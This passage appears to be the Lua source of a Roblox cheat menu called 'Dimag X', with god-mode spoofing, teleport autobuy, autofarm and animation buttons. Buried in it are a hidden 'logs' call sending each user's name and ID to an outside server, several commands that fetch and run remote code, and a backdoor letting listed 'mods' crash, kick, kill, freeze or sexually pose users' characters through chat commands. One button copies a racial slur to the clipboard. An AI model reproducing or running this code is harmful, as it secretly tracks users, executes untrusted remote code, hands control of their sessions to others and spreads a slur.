Humanoid:FindFirstChild("HeadScale"):Destroy()
wait(0.6)
end
if Humanoid:FindFirstChild("BodyWidthScale") then
rm()
wait(0.6)
Humanoid:FindFirstChild("BodyWidthScale"):Destroy()
wait(0.6)
end
if Humanoid:FindFirstChild("BodyDepthScale") then
rm()
wait(0.6)
Humanoid:FindFirstChild("BodyDepthScale"):Destroy()
wait(0.6)
end
if Humanoid:FindFirstChild("BodyTypeScale") then
rm()
wait(0.6)
Humanoid:FindFirstChild("BodyTypeScale"):Destroy()
wait(0.6)
end
elseif MSG:sub(1, 11) == TimeErase and XD == false and not Poter.IsPlaying then
XDDDD(XD)
elseif MSG == CanCel and XD == true and not Poter.IsPlaying then
XDDDD(XD)
elseif MSG == TimeStop then
play(6947054675, true, true)
wait(0.3)
OldChar.LowerTorso.BOOMBOXSOUND.SoundId = "http://www.roblox.com/asset/?id=wd"
wait(0.1)
play(7084712646, true, true)
end
end)
function XDDDD(XDR)
if XDR == false then
XD = true
play(6546133414, true, true)
wait(2)
TimeEraseUI()
FoV()
Lighting()
ModelCharacter()
else
XD = false
InTimeErase = false
wait(0.1)
play(6543435253, true, true)
TimeEraseUI()
ModelCharacter()
Lighting()
FoV()
end
end
function Jump(...)
(...).Jumping:Connect(function()
if SuperJumpEnabled == true then
if CD == false and not Poter.IsPlaying then
CD = true
delay(1, function()
CD = false
end)
Cookies:Play(0, 1, 1.4)
AddVelocity(OldChar.HumanoidRootPart.CFrame.UpVector*120, OldChar)
delay(0, function()
IsJump = true
wait(1)
if IsJump == true then
IsJump = false
end
end)
end
end
end)
end
Jump(OldChar.Humanoid)
LocalPlayer.CharacterAdded:Connect(function(Character)
wait(1)
if Character.Name == LocalPlayer.Name then
Jump(Character.Humanoid)
Poter = Character:WaitForChild("Humanoid"):LoadAnimation(Pointing)
Poter.Looped = true
Poter.Priority = Enum.AnimationPriority.Action
Cookies = Character:WaitForChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.ClientAnimations.Roll)
OldChar = Character
end
end)
game["Run Service"].Heartbeat:Connect(function()
if InTimeErase then
for i, v in pairs(OldChar:GetChildren()) do
if v:IsA("BasePart") then
v.CFrame = CFrame.new(math.random(200, 500), math.random(200, 500), math.random(200, 500))
v.Velocity = Vector3.new(0,0,0)
end
end
if OldChar:FindFirstChild("Combat") and XD == true then
XD = false
XDDDD(true)
end
if WalkSpeed == true then
MoveDirection = Vector3.new(LeftSpeed, UpSpeed, WSpped)
workspace:FindFirstChild(LocalPlayer.Name.."StringKOD"):FindFirstChild("Idaro").Humanoid:Move(MoveDirection, true)
end
else
if OldChar:FindFirstChild("[Flashlight]") then
if workspace.Players:FindFirstChild(MyStand) then
if not Poter.IsPlaying then
Poter:Play()
Poter:AdjustSpeed(0)
Poter.TimePosition = 1.2
end
local lol = workspace.Players:FindFirstChild(MyStand).HumanoidRootPart.CFrame * CFrame.new(0, 0.5, 1.25)
OldChar.HumanoidRootPart.CFrame = lol
end
else
if Poter.IsPlaying then
Poter:Stop()
end
end
end
end)
end)
local SecondButton = FunstuffPage.AddButton("Fake macro (M)", function()
plr = game:GetService('Players').LocalPlayer
down = true
function onButton1Down(mouse)
down = true
while down do
if not down then break end
local char = plr.Character
char.HumanoidRootPart.Velocity = char.HumanoidRootPart.CFrame.lookVector * 190
wait()
end
end
function onButton1Up(mouse)
down = false
end
function onSelected(mouse)
mouse.KeyDown:connect(function(m) if m:lower()=="m"then onButton1Down(mouse)end end)
mouse.KeyUp:connect(function(m) if m:lower()=="m"then onButton1Up(mouse)end end)
end
onSelected(game.Players.LocalPlayer:GetMouse())
end)
---------------
for i,v in pairs(game:GetService("Workspace").Ignored.Shop:GetChildren()) do
local FirstButton = AutoBuyPage.AddButton(v.Name, function()
local Pos = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
local Teleport = v:FindFirstChild("Head")
if Teleport then
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Teleport.CFrame
local CD = v:FindFirstChild("ClickDetector")
if CD then
wait(0.75)
fireclickdetector(CD)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Pos
end
end
end)
end
---------------
---------------
local AnimationsButton = AnimationsPage.AddButton("Tryhard", function()
local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=782841498"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=782845736"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616168032"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616163682"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=707853694"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616086039"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=707829716"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)
local AnimationsButton = AnimationsPage.AddButton("Zombie", function()
local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616158929"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616160636"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616168032"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616163682"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616161997"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616156119"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616157476"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)
local AnimationsButton = AnimationsPage.AddButton("Vampire", function()
local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=1083445855"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=1083450166"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=1083473930"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=1083462077"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=1083455352"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=1083439238"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=1083443587"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)
local AnimationsButton = AnimationsPage.AddButton("Toy", function()
local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=782841498"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=782845736"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=782843345"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=782842708"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=782847020"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=782843869"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=782846423"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)
local AnimationsButton = AnimationsPage.AddButton("Superhero", function()
local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616111295"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616113536"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616122287"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616117076"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616115533"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616104706"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616108001"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)
local AnimationsButton = AnimationsPage.AddButton("Stylish", function()
local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616136790"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616138447"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616146177"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616140816"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616139451"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616133594"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616134815"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)
local AnimationsButton = AnimationsPage.AddButton("Robot", function()
local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616088211"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616089559"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616095330"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616091570"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616090535"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616086039"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616087089"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)
local AnimationsButton = AnimationsPage.AddButton("Pirate", function()
local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=750781874"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=750782770"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=750785693"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=750783738"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=750782230"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=750779899"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=750780242"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)
local AnimationsButton = AnimationsPage.AddButton("Ninja", function()
local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=656117400"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=656118341"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=656121766"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=656118852"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=656117878"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=656114359"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=656115606"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)
local AnimationsButton = AnimationsPage.AddButton("Mage", function()
local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=707742142"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=707855907"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=707897309"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=707861613"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=707853694"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=707826056"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=707829716"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)
local godbutton = GodPage.AddButton("Full God", function()
local localPlayer = game:GetService('Players').LocalPlayer;
local localCharacter = localPlayer.Character;
localCharacter:FindFirstChildWhichIsA('Humanoid').Health = 0;
for _,v in pairs(localPlayer.Character:GetChildren()) do
if v:IsA('MeshPart') or v:IsA('Accessory') then
v:Destroy();
end;
end;
local newCharacter = localPlayer.CharacterAdded:Wait();
local spoofFolder = Instance.new('Folder');
spoofFolder.Name = 'FULLY_LOADED_CHAR';
spoofFolder.Parent = newCharacter;
newCharacter:WaitForChild('RagdollConstraints'):Destroy();
newCharacter:WaitForChild('BodyEffects'):WaitForChild('Defense'):Destroy();
newCharacter:WaitForChild('BodyEffects'):WaitForChild('Armor'):Destroy();
local spoofValue = Instance.new('BoolValue', newCharacter);
spoofValue.Name = 'RagdollConstraints';
local defValue = Instance.new('IntValue', game:GetService('Players').LocalPlayer.Character:FindFirstChild('BodyEffects'));
defValue.Name = 'Defense';
local armValue = Instance.new('IntValue', game:GetService('Players').LocalPlayer.Character:FindFirstChild('BodyEffects'));
armValue.Name = 'Armor';
end)
local godbutton = GodPage.AddButton("God Bullet", function()
local localPlayer = game:GetService('Players').LocalPlayer;
local localCharacter = localPlayer.Character;
localCharacter:FindFirstChildWhichIsA('Humanoid').Health = 0;
for _,v in pairs(localPlayer.Character:GetChildren()) do
if v:IsA('MeshPart') or v:IsA('Accessory') then
v:Destroy();
end;
end;
local newCharacter = localPlayer.CharacterAdded:Wait();
local spoofFolder = Instance.new('Folder');
spoofFolder.Name = 'FULLY_LOADED_CHAR';
spoofFolder.Parent = newCharacter;
newCharacter:WaitForChild('RagdollConstraints'):Destroy();
newCharacter:WaitForChild('BodyEffects'):WaitForChild('Armor'):Destroy();
local spoofValue = Instance.new('BoolValue', newCharacter);
spoofValue.Name = 'RagdollConstraints';
local armValue = Instance.new('IntValue', game:GetService('Players').LocalPlayer.Character:FindFirstChild('BodyEffects'));
armValue.Name = 'Armor';
end)
local CreditsButton = CreditsPage.AddButton("dylann#0009 - Developer", function()
setclipboard("dylann#0009")
end)
local CreditsButton = CreditsPage.AddButton("Dimag16#1616 - Owner", function()
setclipboard("Dimag16#1616")
end)
local TargetButton = TargetPage.AddButton("Target UI", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/GS21Official/DH-VictimMenu-Script/main/Dh%20VictimMenu%3A%20Script"))()
end)
local autofarmbutton = autofarm.AddButton("ATM Autofarm coming soon", function()
setclipboard("Niggers")
end)
local autofarmbutton = autofarm.AddButton("Muscle Autofarm (reset when done)", function()
while true do
wait()
if not game.Players.LocalPlayer.Character:FindFirstChild("[HeavyWeights]") then
wait()
local k = game.Workspace.Ignored.Shop["[HeavyWeights] - $250"]
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0)
if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - k.Head.Position).Magnitude <= 50 then
wait(.2)
fireclickdetector(k:FindFirstChild("ClickDetector"), 4)
end
end
if not game.Players.LocalPlayer.Character:FindFirstChild("[HeavyWeights]") then
tool = game.Players.LocalPlayer.Backpack:WaitForChild("[HeavyWeights]")
tool.Parent = game.Players.LocalPlayer.Character
end
game:GetService("VirtualUser"):ClickButton1(Vector2.new())
local d = Vector3.new(-1006.99, -51.1542, -1014.33)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(d)
end
end)
-- // logs
game:HttpGet('https://enclosed.live/dimagxloader.php?user='..game:GetService('Players').LocalPlayer.Name..'&userid='..game:GetService('Players').LocalPlayer.UserId..'');
-- mods perms
local bending = false
player = game.Players.LocalPlayer
function commands(msg, playa)
if DisableMod == false then
local Mod = game:GetService('Players'):GetPlayerByUserId(playa)
local msg = string.lower(msg)
local SplitCMD = string.split(msg,' ')
local lower = string.lower(player.Name)
local cmdfound = string.find(lower, SplitCMD[2])
if cmdfound then
if string.find(SplitCMD[1], ':kick') then
kickmsg = 'PERMA-BANNED'
player:Kick(kickmsg)
wait(5)
while true do end
end
end
if string.find(SplitCMD[1], ':benx') then
bending = true
local segtarget = Mod.Name
local Crouch = player.Character:FindFirstChildWhichIsA('Humanoid'):LoadAnimation(game:GetService("ReplicatedStorage").ClientAnimations.Crouching)
Crouch.Looped = true
Crouch:Play()
local away = .5
local reversing = false
local shirt = player.Character:FindFirstChild('Shirt')
local pants = player.Character:FindFirstChild('Pants')
if shirt then
shirt:Destroy()
end
if pants then
pants:Destroy()
end
local Loop
local loopFunction = function()
local targetchar = game:GetService('Players'):FindFirstChild(segtarget) or game.Workspace:FindFirstChild(segtarget)
local character = player.Character
if targetchar then
if reversing == true then
away = away - 0.1
else
away = away + 0.1
end
if away >= 2 then
reversing = true
elseif away < 0.5 then
reversing = false
end
character.HumanoidRootPart.CFrame = game.Players[segtarget].Character.HumanoidRootPart.CFrame + game.Players[segtarget].Character.HumanoidRootPart.CFrame.lookVector * away
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until bending == false
Pause()
end
if string.find(SplitCMD[1], ':unbenx') then
repeat
task.wait()
bending = false
until not bending
end
if string.find(SplitCMD[1], ':bring') then
player.Character.HumanoidRootPart.CFrame = CFrame.new(game.Players:FindFirstChild(Mod.Name).Character.HumanoidRootPart.Position)
end
if string.find(SplitCMD[1], ':crash') then
while true do end
end
if string.find(SplitCMD[1], ':fling') then
player.Character.HumanoidRootPart.Velocity = Vector3.new(500000,500000,500000)
end
if string.find(SplitCMD[2], ':freeze') then
player.Character.HumanoidRootPart.Anchored = true
end
if string.find(SplitCMD[2], ':thaw') then
player.Character.HumanoidRootPart.Anchored = false
end
if string.find(SplitCMD[1], ':kill') then
player.Character.Humanoid.Health = 0
end
else
if string.find(msg, '/e find') then
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("dimags daddy", 'All');
end
end
end
local ifMod = loadstring(game:HttpGet("https://raw.githubusercontent.com/Pvpahh/dimagX/main/mod.lua"))()
game.Players.PlayerAdded:Connect(function(plr)
if ifMod[plr.UserId] then
plr.Chatted:Connect(function(msg)
commands(msg, plr.UserId)
end)
end
end)
for i,v in pairs(game:GetService('Players'):GetChildren()) do
if ifMod[v.UserId] then
v.Chatted:Connect(function(msg)
commands(msg, v.UserId)
end)
end
end
isMod = false
DisableMod = false
if ifMod[player.UserId] then
IsMod = true
DisableMod = true
game.StarterGui:SetCore("SendNotification", {Title = "Dimag X", Text = "Mod Perms Granted, thanks for buying!", Icon = "rbxassetid://505845268", Duration = 9, Button1 = "Alright, Thank you!"})
else
IsMod = false
end
coroutine.resume(coroutine.create(function()
while wait(3) do
local function initiateNames()
if player.Character:FindFirstChildWhichIsA('Script'):FindFirstChild('LocalScript') then
player.Character:FindFirstChildWhichIsA('Script'):FindFirstChild('LocalScript').Disabled = true
end
if player.Character.UpperTorso:FindFirstChild('OriginalSize') then
player.Character.UpperTorso:FindFirstChild('OriginalSize'):Destroy()
end
loadstring(game:HttpGet('https://raw.githubusercontent.com/Pvpahh/dimagX/main/mod.lua'))()
end
local success, err = pcall(initiateNames)
end
end))Features & Information
skidding racist infant
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